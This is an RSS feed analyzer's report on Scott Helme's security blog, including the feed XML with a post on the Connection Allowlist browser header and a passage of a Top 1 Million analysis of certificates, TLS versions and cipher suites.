RSS/Atom Feed Analyzer

Analysis of https://scotthelme.co.uk/rss/

Feed fetched in 111 ms.
Warning Content type is application/rss+xml; charset=utf-8, not text/xml or applicaton/xml.
Feed is 287,837 characters long.
Feed has an ETag of W/"46461-d6wevDGtD1AjvylA0pGNtdt+GwE".
Warning Feed is missing the Last-Modified HTTP header.
Feed is well-formed XML.
Warning Feed has no styling.
This is an RSS feed.
Feed title: Scott Helme
Error Feed self link: https://scotthelme.ghost.io/rss/ does not match feed URL: https://scotthelme.co.uk/rss/.
Feed has an image at https://scotthelme.ghost.io/favicon.png.
Feed has 15 items.
First item published on 2026-07-08T16:11:31.000Z
Last item published on 2026-05-11T13:10:11.000Z
All items have published dates.
Newest item was published on 2026-07-08T16:11:31.000Z.
Home page URL: https://scotthelme.ghost.io/
Error Home page does not have a matching feed discovery link in the <head>.

1 feed links in <head>
  • https://scotthelme.ghost.io/rss/

  • Home page has a link to the feed in the <body>

    Formatted XML
    <?xml version="1.0" encoding="UTF-8"?>
    <rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
        <channel>
            <title><![CDATA[Scott Helme]]></title>
            <description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description>
            <link>https://scotthelme.ghost.io/</link>
            <image>
                <url>https://scotthelme.ghost.io/favicon.png</url>
                <title>Scott Helme</title>
                <link>https://scotthelme.ghost.io/</link>
            </image>
            <generator>Ghost 6.55</generator>
            <lastBuildDate>Tue, 28 Jul 2026 13:55:03 GMT</lastBuildDate>
            <atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/>
            <ttl>60</ttl>
            <item>
                <title><![CDATA[Connection Allowlist: a network firewall, built into the browser]]></title>
                <description><![CDATA[<p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it&apos;s permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It&apos;s currently a</p>]]></description>
                <link>https://scotthelme.ghost.io/connection-allowlist-a-network-firewall-built-into-the-browser/</link>
                <guid isPermaLink="false">6a4e2b165807de0001a05af5</guid>
                <category><![CDATA[Connection Allowlist]]></category>
                <category><![CDATA[1.1.1.1]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 08 Jul 2026 16:11:31 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png" alt="Connection Allowlist: a network firewall, built into the browser"><p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it&apos;s permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It&apos;s currently a <a href="https://wicg.github.io/connection-allowlists/?ref=scotthelme.ghost.io">WICG proposal</a> (<a href="https://github.com/WICG/connection-allowlists?ref=scotthelme.ghost.io">repo here</a>) running as a Chrome origin trial, and Report URI now collects the violation reports it emits.</p><p>This post covers how the mechanism works, how it differs from CSP, and the shape of the reports.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png" class="kg-image" alt="Connection Allowlist: a network firewall, built into the browser" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-it-does">What it does</h3><p>Before any outbound connection is established, the browser checks the destination against the allowlist. If it doesn&apos;t match, the connection is blocked at the network layer. This applies regardless of what initiated the connection &#x2014; the policy is a property of the document, not of the code running in it.</p><p>The connection types covered are deliberately broad: <code>fetch()</code>/XHR, subresource requests, WebSocket, WebTransport, DNS prefetch, preload, navigations, redirects and WebRTC are all evaluated against the same list.</p><p></p><pre><code>Connection-Allowlist: (response-origin &quot;https://cdn.example.com&quot; &quot;https://api.example.com/*&quot;)</code></pre><p></p><p>Two categories get a stricter default and their own parameters:</p><ul><li><strong>Redirects</strong> are blocked by default. The reasoning in the spec is that once a<br>request has left the client, the server it went to controls where it&apos;s<br>redirected next, so a matching initial URL is no guarantee. You opt back in<br>with <code>redirects=allow</code>.</li><li><strong>WebRTC</strong> is blocked by default (<code>webrtc=block</code>), because peer connections<br>use dynamic endpoint discovery that URL patterns can&apos;t meaningfully describe.<br><code>webrtc=allow</code> permits it.</li></ul><p>Local schemes (<code>data:</code>, <code>about:</code>) bypass the check. The mechanism only governs network communication &#x2014; it does nothing about content injection or XSS. It&apos;s a containment control: it limits where an already-running script can send data, not whether that script can run.</p><p></p><h3 id="how-this-differs-from-csp">How this differs from CSP</h3><p>Content Security Policy can already restrict many outbound connections, with features like <code>connect-src</code>, <code>form-action</code> and others, so it&apos;s worth clarifying how Connection Allowlist differs. </p><p>Simply put, Connection Allowlist incorporates <strong><em>all</em></strong> outbound connections without the need for an extensive set of directives that would be required in CSP, and some of which you can&apos;t currently exert control over. Any outbound connection from the page is in scope. Period.</p><p>The two mechanisms complement each other rather than compete. CSP remains the right control for deciding which scripts, styles, images, frames and other resources a page is allowed to load and execute, while Connection Allowlist adds a broader network boundary around where that page can communicate. Used together, CSP helps prevent untrusted code and content from entering the page in the first place, and Connection Allowlist limits the damage if malicious code does run by further restricting where it can send data. For sensitive applications, the strongest position is to deploy both: CSP for content and execution control, and Connection Allowlist for outbound network containment.</p><p></p><h3 id="reports">Reports</h3><p>As with any powerful feature, you&apos;re going to want to test this before you deploy, and for that, we have the typical format of Report-Only header.</p><p></p><pre><code>Connection-Allowlist-Report-Only: (response-origin &quot;https://api.example.com/*&quot;); report-to=default
    </code></pre><p></p><p>Violations are delivered through the Reporting API to the endpoint named by the <code>report-to</code> group. The report <code>type</code> is <code>connection-allowlist</code> and the body identifies the destination that was blocked:</p><p></p><pre><code class="language-json">{
      &quot;type&quot;: &quot;connection-allowlist&quot;,
      &quot;body&quot;: {
        &quot;url&quot;: &quot;https://report-uri.com/account&quot;,
        &quot;connection&quot;: &quot;https://blocked.example/collect.js&quot;,
        &quot;allowlist&quot;: [&quot;https://api.example.com/*&quot;],
        &quot;disposition&quot;: &quot;report&quot;
      }
    }</code></pre><p></p><p><code>connection</code> is the destination that tripped the policy, <code>allowlist</code> is the<br>declared policy, <code>disposition</code> is <code>enforce</code> or <code>report</code>, and <code>url</code> is the page that the browser was visiting when this happened.</p><p>Report-only is how you deploy this without the risk of breaking anything: serve it, collect what your pages actually connect to, refine the allowlist until it&apos;s clean, then switch to the enforcing header. During the origin trial, reporting is limited to document contexts &#x2014; dedicated, shared and service workers aren&apos;t covered yet.</p><p></p><h3 id="availability">Availability</h3><p>The feature is a Chrome origin trial (<a href="https://developer.chrome.com/blog/connection-allowlists-origin-trial?ref=scotthelme.ghost.io">announcement</a>) running from Chrome 148 to 151, after which Chrome will assess whether the feature is ready to progress towards shipping.</p><p>Report URI collects Connection Allowlist reports already, currently behind a beta flag. It works the same way as the existing browser report types: point the<br><code>report-to</code> group of your <code>Connection-Allowlist-Report-Only</code> header at your Report URI group and the reports land on a Connection Allowlist reports page, showing the page URL, the blocked connection, the enforce/report-only disposition, the raw report and counts.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png" class="kg-image" alt="Connection Allowlist: a network firewall, built into the browser" loading="lazy" width="1386" height="770" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/connection-allowlist-reports.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/07/connection-allowlist-reports.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png 1386w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If you&apos;d like to join to the beta, please reach out to support@ and we&apos;ll add your account. </p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Top 1 Million Analysis – June 2026: The State of Crypto]]></title>
                <description><![CDATA[<p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">Part one</a> covered the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I&apos;ve been most excited to write: a focused look at the</p>]]></description>
                <link>https://scotthelme.ghost.io/top-1-million-analysis-june-2026-the-state-of-crypto/</link>
                <guid isPermaLink="false">6a2e9db5d237ab0001bd2a7e</guid>
                <category><![CDATA[Crawler Report]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 01 Jul 2026 11:57:14 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto"><p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">Part one</a> covered the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I&apos;ve been most excited to write: a focused look at the cryptography underpinning the top 1 million sites &#x2014; TLS, certificates, the keys behind them, and the genuinely historic arrival of post-quantum key exchange at scale.</p><p>As before, the numbers below come from the 13 June 2026 crawl of the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> Top 1 Million (819,002 responding sites), powered by <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a> and <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a>. For this anniversary edition I rebuilt a big chunk of the crawler&apos;s TLS measurement &#x2014; including a move to OpenSSL 3.5 so it can negotiate post-quantum groups &#x2014; so several of the metrics here are brand new.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="introduction">Introduction</h3><p>In <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">part one</a>, we looked at the broader state of web security across the Tranco Top 1 Million and found a familiar story: lots of progress, but still plenty of rough edges. In this second part, we&#x2019;re going deeper into the cryptographic foundations of the modern web: TLS versions, cipher suites, key exchange, certificate lifetimes, certificate authorities, CAA, OCSP, ECH, and even the early signs of post-quantum TLS. The good news is that, in many areas, the web has moved on dramatically from where it was ten years ago. The even more interesting news is that some of the biggest changes are now happening quietly, at enormous scale, because of defaults set by the platforms and providers that sit underneath much of the web.</p><p></p><h3 id="certificates">Certificates</h3><p>The certificate landscape has genuinely shifted since 2022. Let&apos;s Encrypt remains enormous, with 302,116 sites using one of their certificates, up 30%. Google Trust Services&#x2019; <code>WE1</code> intermediate alone now accounts for 193,069 sites, making it the largest individual issuing intermediate in the dataset &#x2014; even though Let&#x2019;s Encrypt remains the largest issuer overall. The free, automated, short-lived CA model has well and truly won.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Certificate Authority</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Google Trust Services &#x2014; WE1</td>
    <td>193,069</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; R12</td>
    <td>59,705</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; R13</td>
    <td>59,496</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; E8</td>
    <td>48,754</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; E7</td>
    <td>48,564</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YE2</td>
    <td>23,702</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YE1</td>
    <td>23,467</td>
    </tr>
    <tr>
    <td>Sectigo &#x2014; Public Server Authentication CA DV R36</td>
    <td>19,879</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YR1</td>
    <td>19,159</td>
    </tr>
    <tr>
    <td>Let&apos;s Encrypt &#x2014; YR2</td>
    <td>18,986</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>If we look at the absolute numbers, though, Let&apos;s Encrypt are still dominating in total issuance.</p><p></p><table>
    <thead>
    <tr>
    <th>Issuer</th>
    <th>Certs</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Let&apos;s Encrypt</td>
    <td>302,116</td>
    </tr>
    <tr>
    <td>Google Trust Services</td>
    <td>203,436</td>
    </tr>
    <tr>
    <td>Amazon</td>
    <td>37,690</td>
    </tr>
    <tr>
    <td>DigiCert</td>
    <td>34,961</td>
    </tr>
    <tr>
    <td>Sectigo</td>
    <td>29,006</td>
    </tr>
    <tr>
    <td>GlobalSign</td>
    <td>17,891</td>
    </tr>
    <tr>
    <td>GoDaddy</td>
    <td>7,999</td>
    </tr>
    </tbody>
    </table>
    <p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/lets-encrypt.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="979" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/lets-encrypt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/lets-encrypt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/lets-encrypt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/lets-encrypt.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can see the consequence of the new certificate model in the death of the alternative: <a href="https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io" rel="noreferrer">Extended Validation</a> certificates are now on just 4,186 sites, down another 51% since 2022 and a fraction of the 15,604 we saw in 2020. EV has been a dead format walking for years and the numbers now read like an obituary.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="1000" height="554" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Two newer certificate metrics this year. 657,853 sites (around 80% of responders) serve certificates with embedded <a href="https://scotthelme.co.uk/certificate-transparency-an-introduction/?ref=scotthelme.ghost.io" rel="noreferrer">Certificate Transparency SCTs</a> &#x2014; CT is now essentially universal, which is exactly what you want. And 319,192 sites use a wildcard certificate, a reminder that wildcard sprawl is extremely common and worth keeping an eye on from a blast-radius perspective.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/sct.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/sct.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/sct.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/sct.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/sct.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/wildcard.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/wildcard.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/wildcard.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/wildcard.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/wildcard.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="how-long-do-certificates-live">How long do certificates live?</h3><p>For the first time this report measures certificate <em>lifetimes</em> directly, across the 658,294 certificates we saw, and the distribution is remarkably tight &#x2014; almost everything clusters at a handful of standard values:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Validity period</th>
    <th>Certificates</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>&#x2264; 47 days</td>
    <td>1,692</td>
    <td>0.3%</td>
    </tr>
    <tr>
    <td>48&#x2013;90 days</td>
    <td>509,744</td>
    <td>77.4%</td>
    </tr>
    <tr>
    <td>91&#x2013;200 days</td>
    <td>49,743</td>
    <td>7.6%</td>
    </tr>
    <tr>
    <td>201&#x2013;398 days</td>
    <td>96,953</td>
    <td>14.7%</td>
    </tr>
    <tr>
    <td>399+ days</td>
    <td>162</td>
    <td>0.0%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>90-day certificates utterly dominate, at 508,049 &#x2014; 77% of every certificate we saw. That&apos;s the Let&apos;s Encrypt and Google Trust Services automated model expressed as a single number. The old one-year certificate (clustered around 395&#x2013;398 days) is now a ~15% minority, and anything longer than the old 398-day maximum has all but vanished &#x2014; just 162 of them, almost certainly private or misconfigured.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cert-validity.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1018" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cert-validity.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cert-validity.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cert-validity.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cert-validity.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The most telling detail: the 200-day cap that took effect on 15 March 2026 &#x2014; barely three months before this crawl &#x2014; is already visible in the data. A 199-day lifetime is now the <em>third</em> most common exact value (21,966 certs), and the 91&#x2013;200 day band holds nearly 50,000 &#x2014; issuers and sites already provisioning right up against the new limit. With the cap falling to <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">100 days in 2027 and 47 days in 2029</a>, expect that enormous 90-day column to hold firm while the one-year remnant drains away.</p><p>I&apos;ve followed this saga for years &#x2014; from <a href="https://scotthelme.co.uk/why-we-need-to-do-more-to-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io">why we need shorter lifetimes</a>, through <a href="https://scotthelme.co.uk/ballot-sc22-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io">Ballot SC22</a>, to Let&apos;s Encrypt now issuing <a href="https://scotthelme.co.uk/blink-and-youll-miss-them-6-day-certificates-are-here/?ref=scotthelme.ghost.io">6-day certificates</a> &#x2014; and the data finally shows it plainly: the ecosystem is responding. The sites that automated renewal years ago won&apos;t even notice the 47-day future. If you haven&apos;t yet, <a href="https://scotthelme.co.uk/cryptographic-agility-part-1-server-certificates/?ref=scotthelme.ghost.io">Cryptographic Agility</a> is the mindset to adopt now.</p><p></p><h3 id="a-tale-of-two-ca-models">A tale of two CA models</h3><p>Breaking the certificates down <em>by issuer</em> makes the divide explicit. For each of the largest CAs, here&apos;s the typical certificate lifetime, the share on ECDSA keys, and the share that are wildcards:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Issuer</th>
    <th>Certs</th>
    <th>Typical lifetime</th>
    <th>ECDSA</th>
    <th>Wildcard</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Let&apos;s Encrypt</td>
    <td>302,116</td>
    <td>90 days</td>
    <td>47%</td>
    <td>30%</td>
    </tr>
    <tr>
    <td>Google Trust Services</td>
    <td>203,436</td>
    <td>90 days</td>
    <td>92%</td>
    <td>71%</td>
    </tr>
    <tr>
    <td>Amazon</td>
    <td>37,690</td>
    <td>~395 days</td>
    <td>6%</td>
    <td>68%</td>
    </tr>
    <tr>
    <td>DigiCert</td>
    <td>34,961</td>
    <td>199 days</td>
    <td>9%</td>
    <td>42%</td>
    </tr>
    <tr>
    <td>Sectigo</td>
    <td>29,006</td>
    <td>366 days</td>
    <td>5%</td>
    <td>50%</td>
    </tr>
    <tr>
    <td>GlobalSign</td>
    <td>17,891</td>
    <td>397 days</td>
    <td>3%</td>
    <td>68%</td>
    </tr>
    <tr>
    <td>GoDaddy</td>
    <td>7,999</td>
    <td>397 days</td>
    <td>3%</td>
    <td>53%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>There are clearly two different worlds here. The free, automated, ACME-native CAs &#x2014; Let&apos;s Encrypt and Google Trust Services &#x2014; issue 90-day certificates and lean hard on modern ECDSA keys (Google&apos;s are 92% ECDSA). The traditional commercial CAs &#x2014; Amazon, Sectigo, GlobalSign, GoDaddy &#x2014; are still handing out roughly one-year certificates on RSA keys (3&#x2013;6% ECDSA between them). The agile-crypto future I keep pushing has, in effect, already arrived for half the web &#x2014; it&apos;s just unevenly distributed across the CAs.</p><p>And you can watch the commercial side being dragged forward in real time: DigiCert&apos;s single most common lifetime is already 199 days, right up against the 200-day cap that landed in March. The mandate is doing exactly what it was designed to.</p><p></p><h3 id="certificate-authority-authorisation">Certificate Authority Authorisation</h3><p><a href="https://scotthelme.co.uk/certificate-authority-authorization/?ref=scotthelme.ghost.io" rel="noreferrer">CAA</a> continues its steady climb: 53,130 sites now publish a CAA record, up 50% on the 35,537 from 2022. It&apos;s still a small fraction of the web, but it&apos;s one of the cheapest wins in the PKI &#x2014; it lets you tell the world which CAs are allowed to issue for your domain &#x2014; and it&apos;s good to see it trending the right way.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/caa.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/caa.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/caa.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/caa.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/caa.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="tls-versions">TLS versions</h3><p>This is one of the cleaner success stories, but it&apos;s taken us a long time to get here.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Version</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>TLSv1.3</td>
    <td>378,162</td>
    <td><strong>576,464</strong></td>
    </tr>
    <tr>
    <td>TLSv1.2</td>
    <td>180,121</td>
    <td><strong>70,395</strong></td>
    </tr>
    <tr>
    <td>TLSv1.1</td>
    <td>0</td>
    <td><strong>0</strong></td>
    </tr>
    <tr>
    <td>TLSv1.0</td>
    <td>512</td>
    <td><strong>106</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>TLSv1.3 is up 52% and is now comfortably the dominant protocol version. TLSv1.2 has fallen 61% as sites migrate upwards. And the legacy protocols are essentially gone: TLSv1.1 is extinct, and TLSv1.0 is down to just 106 sites, a 79% drop. After years of nagging, the back of the legacy-TLS problem is finally broken.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/tls.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1020" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/tls.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/tls.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/tls.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/tls.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="cipher-suites">Cipher Suites</h3><p>The cipher picture is overwhelmingly modern, led by the TLS 1.3 AEAD suites:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Cipher Suite</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>TLS_AES_256_GCM_SHA384</td>
    <td>492,080</td>
    </tr>
    <tr>
    <td>TLS_AES_128_GCM_SHA256</td>
    <td>82,080</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-AES256-GCM-SHA384</td>
    <td>32,027</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-AES128-GCM-SHA256</td>
    <td>23,070</td>
    </tr>
    <tr>
    <td>ECDHE-ECDSA-CHACHA20-POLY1305</td>
    <td>5,628</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-CHACHA20-POLY1305</td>
    <td>3,130</td>
    </tr>
    <tr>
    <td>ECDHE-ECDSA-AES256-GCM-SHA384</td>
    <td>2,853</td>
    </tr>
    <tr>
    <td>TLS_CHACHA20_POLY1305_SHA256</td>
    <td>2,304</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>The old CBC-mode and non-PFS suites have dwindled to a rounding error. Forward secrecy is effectively universal at the top of the web.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ciphers-suites.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1093" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ciphers-suites.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ciphers-suites.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ciphers-suites.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ciphers-suites.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 